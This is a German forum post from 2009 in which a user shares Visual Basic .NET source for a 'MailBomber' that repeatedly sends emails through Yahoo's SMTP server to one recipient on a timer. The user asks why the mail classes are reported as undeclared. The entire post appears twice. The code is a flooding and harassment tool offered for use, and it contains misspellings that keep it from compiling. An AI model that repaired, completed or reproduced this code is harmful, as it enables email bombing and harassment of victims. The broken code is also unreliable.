Rapter
26.07.2009, 13:18
Hallo,
ich hab mir vorhin einen Source Code eines MailBombers angeschaut.
Bin gerade dabei einen nachzubauen doch irgendwie klappt das nicht so recht.
Der MailBomber unterstützt bisher nur Yahoo..
Hier mal der Source Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAdress(TextBox1.Text)
MyMailMessage.to.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = (TextBox5.Text)
Dim SMTPServer As New SMTPClient("smtp.mail.yahoo.de")
SMTPServer.Port = 587
SMTPServer.Credentitals = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSSl = True
Label7.Text = Val(Label7.Text + 1)
SMTPServer.Send(MyMailMessage)
End Sub
End Class
Mailmessage, MailAdresse und SMTPClient meldet er als Fehler - "nicht deklariert"..
In dem Source Code funktioniert es allerdings..
Was mache ich falsch?
ich hab mir vorhin einen Source Code eines MailBombers angeschaut.
Bin gerade dabei einen nachzubauen doch irgendwie klappt das nicht so recht.
Der MailBomber unterstützt bisher nur Yahoo..
Hier mal der Source Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAdress(TextBox1.Text)
MyMailMessage.to.Add(TextBox3.Text)
MyMailMessage.Subject = (TextBox4.Text)
MyMailMessage.Body = (TextBox5.Text)
Dim SMTPServer As New SMTPClient("smtp.mail.yahoo.de")
SMTPServer.Port = 587
SMTPServer.Credentitals = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSSl = True
Label7.Text = Val(Label7.Text + 1)
SMTPServer.Send(MyMailMessage)
End Sub
End Class
Mailmessage, MailAdresse und SMTPClient meldet er als Fehler - "nicht deklariert"..
In dem Source Code funktioniert es allerdings..
Was mache ich falsch?